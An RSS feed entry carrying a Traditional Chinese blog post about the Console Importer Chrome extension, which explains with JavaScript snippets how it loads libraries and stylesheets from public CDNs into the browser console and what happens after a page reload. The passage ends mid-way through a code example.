https://blog.wayne-project.com/tags/css/Recent content in Css on Wayne's blog | 偉恩的部落格 | 技術博客Hugo -- gohugo.iozh-twThu, 16 Oct 2025 00:00:00 +0000https://blog.wayne-project.com/2025-10-16/console-importer-chrome-extension/Thu, 16 Oct 2025 00:00:00 +0000https://blog.wayne-project.com/2025-10-16/console-importer-chrome-extension/<img src="https://live.staticflickr.com/65535/54858288256_40cf65e375_b.jpg" alt="Featured image of post 分享一個實用的 Chrome 擴充功能 - Console Importer" /><style> .article-content p code { background-color: #f5f5f5; color: #ff3860; } .focus { background: #f1e2e2; color: #d62c2c; padding: 0 5px; } .text-center { text-align: center !important; } .warning { background-color: #fff3cd; border: 1px solid #ffeaa7; color: #856404; padding: 15px; border-radius: 5px; margin: 20px 0; } .info { background-color: #d1ecf1; border: 1px solid #bee5eb; color: #0c5460; padding: 15px; border-radius: 5px; margin: 20px 0; } </style> <p><a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Chrome 線上應用程式商店 - Console Importer</a><br> <a class="link" href="https://github.com/pd4d10/console-importer" target="_blank" rel="noopener" >Github - Console Importer</a></p> <p>作為前端開發者，我們經常需要在瀏覽器 Console 中測試一些 JavaScript 函數庫或是 CSS 樣式。但要在 Console 中載入外部資源通常需要手動建立 <code>&lt;script&gt;</code> 或 <code>&lt;link&gt;</code> 標籤，過程相當繁瑣。</p> <p>今天要分享的 <a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" ><strong>Console Importer</strong></a> 這個 Chrome 擴充功能，能夠讓我們在 Console 中輕鬆匯入各種 JavaScript 和 CSS 資源，大幅提升開發效率。</p> <hr> <p><img src="https://github.com/pd4d10/console-importer/raw/main/assets/js.gif" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <h2 id="什麼是-console-importer">什麼是 Console Importer？</h2> <p><a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Console Importer</a> 是一個輕量級的 Chrome 擴充功能，它在瀏覽器的開發者工具 Console 中提供了一個全域函數 <code>$i</code>，讓開發者能夠快速匯入 JavaScript 函數庫和 CSS 樣式表。</p> <p>這個工具特別適合用於：</p> <ul> <li>🔍 <strong>快速測試</strong>：在任何網站上測試新的 JavaScript 函數庫</li> <li>🎨 <strong>樣式調試</strong>：載入 CSS 框架來測試網頁外觀</li> <li>📚 <strong>學習探索</strong>：快速載入不同版本的函數庫進行比較</li> <li>🛠️ <strong>除錯協助</strong>：在生產環境中臨時載入除錯工具</li> </ul> <h3 id="主要特色">主要特色</h3> <ul> <li>⚡ <strong>簡單易用</strong>：只需一行指令即可載入資源</li> <li>🌐 <strong>多種來源</strong>：支援 CDN、NPM 套件、直接 URL</li> <li>📦 <strong>版本控制</strong>：可指定特定版本的函數庫</li> <li>🎯 <strong>ES Module 支援</strong>：現代化的模組載入方式</li> <li>🔒 <strong>安全性</strong>：不會覆蓋現有的全域變數</li> <li>🔄 <strong>重整即重置</strong>：頁面重新整理後可輕鬆清除測試環境</li> </ul> <hr> <h2 id="console-importer-的運作原理">Console Importer 的運作原理</h2> <p><a class="link" href="https://chrome.google.com/webstore/detail/console-importer/hgajpakhafplebkdljleajgbpdmplhie" target="_blank" rel="noopener" >Console Importer</a> 的運作邏輯相當聰明，讓我們深入了解它是如何工作的：</p> <h3 id="1-函數庫名稱識別與解析">1. 函數庫名稱識別與解析</h3> <p>Console Importer 會根據輸入的參數來決定從哪裡載入資源：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 純函數庫名稱 → cdnjs </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="c1">// → https://cdnjs.cloudflare.com/ajax/libs/jquery/latest/jquery.min.js </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 含版本號 → unpkg </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery@3.7.1&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="c1">// → https://unpkg.com/jquery@3.7.1/dist/jquery.min.js </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 完整 URL → 直接載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js&#39;</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><p><strong>解析流程</strong>：</p> <ol> <li>檢查輸入是否為完整 URL（含 <code>http://</code> 或 <code>https://</code>）</li> <li>如果不是 URL，檢查是否包含版本號（<code>@</code> 符號）</li> <li>根據結果選擇對應的 CDN 服務</li> </ol> <h3 id="2-資源類型自動判斷">2. 資源類型自動判斷</h3> <p>擴充功能會透過以下方式判斷資源類型：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// JavaScript 檔案判斷邏輯 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">isJavaScript</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">url</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="s1">&#39;.js&#39;</span><span class="p">)</span> <span class="o">||</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s1">&#39;javascript&#39;</span><span class="p">)</span> <span class="o">||</span> </span></span><span class="line"><span class="cl"> <span class="o">!</span><span class="nx">url</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="s1">&#39;.css&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// CSS 檔案判斷邏輯 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">isCSS</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">url</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="s1">&#39;.css&#39;</span><span class="p">)</span> <span class="o">||</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="s1">&#39;stylesheet&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="3-動態-dom-元素建立">3. 動態 DOM 元素建立</h3> <p>Console Importer 會在頁面中動態建立對應的 HTML 元素：</p> <h4 id="javascript-載入機制">JavaScript 載入機制：</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 建立 &lt;script&gt; 標籤 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;script&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">resolvedUrl</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="kr">async</span> <span class="o">=</span> <span class="kc">true</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">crossOrigin</span> <span class="o">=</span> <span class="s1">&#39;anonymous&#39;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入完成的 Promise 處理 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">script</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">resolve</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">reject</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 插入到 &lt;head&gt; 中 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="css-載入機制">CSS 載入機制：</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 建立 &lt;link&gt; 標籤 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">link</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">&#39;link&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">link</span><span class="p">.</span><span class="nx">rel</span> <span class="o">=</span> <span class="s1">&#39;stylesheet&#39;</span> </span></span><span class="line"><span class="cl"><span class="nx">link</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">resolvedUrl</span> </span></span><span class="line"><span class="cl"><span class="nx">link</span><span class="p">.</span><span class="nx">crossOrigin</span> <span class="o">=</span> <span class="s1">&#39;anonymous&#39;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 載入狀態監聽 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">link</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">resolve</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="nx">link</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">reject</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 插入到 &lt;head&gt; 中 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">link</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="4-重複載入防護機制">4. 重複載入防護機制</h3> <p>Console Importer 具有智能的重複載入檢查：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 內部維護的載入記錄 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">loadedResources</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Set</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">$i</span><span class="p">(</span><span class="nx">resource</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">resolvedUrl</span> <span class="o">=</span> <span class="nx">resolveUrl</span><span class="p">(</span><span class="nx">resource</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 檢查是否已經載入過 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="nx">loadedResources</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">resolvedUrl</span><span class="p">))</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`</span><span class="si">${</span><span class="nx">resource</span><span class="si">}</span><span class="sb"> 已經載入過，跳過重複載入`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 標記為已載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">loadedResources</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">resolvedUrl</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// 執行載入邏輯 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">return</span> <span class="nx">loadResource</span><span class="p">(</span><span class="nx">resolvedUrl</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="5-es-module-載入機制">5. ES Module 載入機制</h3> <p>對於 ES Module，Console Importer 使用現代的 <code>import()</code> 語法：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">loadESModule</span><span class="p">(</span><span class="nx">packageName</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 使用 esm.run 作為 ES Module CDN </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">moduleUrl</span> <span class="o">=</span> <span class="sb">`https://esm.run/</span><span class="si">${</span><span class="nx">packageName</span><span class="si">}</span><span class="sb">`</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">try</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 動態 import </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">module</span> <span class="o">=</span> <span class="kr">await</span> <span class="kr">import</span><span class="p">(</span><span class="nx">moduleUrl</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">module</span><span class="p">.</span><span class="k">default</span> <span class="o">||</span> <span class="nx">module</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="sb">`Failed to load ES module: </span><span class="si">${</span><span class="nx">packageName</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h2 id="頁面重整與資源重置機制">頁面重整與資源重置機制</h2> <p>這是很多開發者關心的重要問題：當頁面重新整理後會發生什麼？</p> <h3 id="-頁面重整後的行為">🔄 頁面重整後的行為</h3> <h4 id="已載入的資源狀態"><strong>已載入的資源狀態</strong>：</h4> <ul> <li>❌ <strong>DOM 中的元素會被清除</strong>：透過 Console Importer 動態載入的 <code>&lt;script&gt;</code> 和 <code>&lt;link&gt;</code> 標籤會被移除</li> <li>❌ <strong>CSS 樣式會消失</strong>：由於 <code>&lt;link&gt;</code> 標籤被清除，所有載入的 CSS 樣式都會失效</li> <li>❌ <strong>JavaScript 變數會重置</strong>：所有透過 JavaScript 載入的全域變數都會被清除</li> <li>❌ <strong>Console Importer 記錄重置</strong>：內部的載入記錄會被清空</li> <li>🔄 <strong>完全重置環境</strong>：頁面會回到載入前的原始狀態</li> </ul> <h4 id="實際測試範例"><strong>實際測試範例</strong>：</h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 第一次載入 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">$</span><span class="p">)</span> <span class="c1">// &#34;function&#34; </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;script[src*=&#34;jquery&#34;]&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="c1">// &lt;script src=&#34;https://cdnjs.cloudflare.com/.../jquery.min.js&#34;&gt;&lt;/script&gt; </span></span></span><span class="line"><span class="cl"><span class="c1">// → script 標籤存在 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 頁面重整後... </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">$</span><span class="p">)</span> <span class="c1">// &#34;undefined&#34; (變數被清除) </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;script[src*=&#34;jquery&#34;]&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="c1">// null </span></span></span><span class="line"><span class="cl"><span class="c1">// → script 標籤也被清除了！需要重新載入 </span></span></span></code></pre></td></tr></table> </div> </div><h3 id="-重整後的最佳實踐">🚀 重整後的最佳實踐</h3> <h4 id="方法-1重新載入所需資源"><strong>方法 1：重新載入所需資源</strong></h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 重整後需要重新載入所有資源 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">$i</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">)</span> <span class="c1">// 重新載入 jQuery </span></span></span><span class="line"><span class="cl"><span class="c1"></span> </span></span><span class="line"><span class="cl"><span class="c1">// 等待載入完成 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">$</span><span class="p">)</span> <span class="c1">// &#34;function&#34; - 重新載入成功 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">&#39;script[src*=&#34;jquery&#34;]&#39;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="c1">// &lt;script src=&#34;...&#34;&gt; - DOM 元素重新創建 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">},</span> <span class="mi">1000</span><span class="p">)</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="方法-2檢查載入狀態"><strong>方法 2：檢查載入狀態</strong></h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 建立一個檢查函數 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">ensureLibraryLoaded</span><span class="p">(</span><span class="nx">libName</span><span class="p">,</span> <span class="nx">globalVar</span><span class="p">,</span> <span class="nx">callback</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nb">window</span><span class="p">[</span><span class="nx">globalVar</span><span class="p">]</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 已經載入完成 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">callback</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="c1">// 需要重新載入或等待 </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">$i</span><span class="p">(</span><span class="nx">libName</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">checkInterval</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nb">window</span><span class="p">[</span><span class="nx">globalVar</span><span class="p">]</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">clearInterval</span><span class="p">(</span><span class="nx">checkInterval</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">callback</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> <span class="mi">100</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 使用範例 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ensureLibraryLoaded</span><span class="p">(</span><span class="s1">&#39;jquery&#39;</span><span class="p">,</span> <span class="s1">&#39;$&#39;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;jQuery 已準備就緒！&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">$</span><span class="p">(</span><span class="s1">&#39;#myElement&#39;</span><span class="p">).</span><span class="nx">hide</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">})</span> </span></span></code></pre></td></tr></table> </div> </div><h4 id="方法-3自動重載腳本"><strong>方法 3：自動重載腳本</strong></h4> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 建立一個自動重載的工具函數 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">autoReload</span><span class="p">(</span><span class="nx">libraries</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">reloadPromises</span> <span class="o">=</span> <span class="nx">libraries</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">lib</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">lib</span><span class="p">.</span><span class="nx">check</span> <span class="o">===</span> <span class="s1">&#39;function&#39;</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">lib</span><span class="p">.</span><span class="nx">check</span><span class="p">())</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`重新載入 </span><span class="si">${</span><span class="nx">lib</span><span class="p">.</span><span class="nx">name</span><span class="si">}</span><span class="sb">...`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">$i</span><span class="p">(</span><span class="nx">lib</span><span class="p">.</span><span class="kr">package</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">resolve</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nb">Promise</span><span class="p">.</span><span class="nx">all</span><span class="p">(</span><span class="nx">reloadPromises</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// 使用範例 </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span 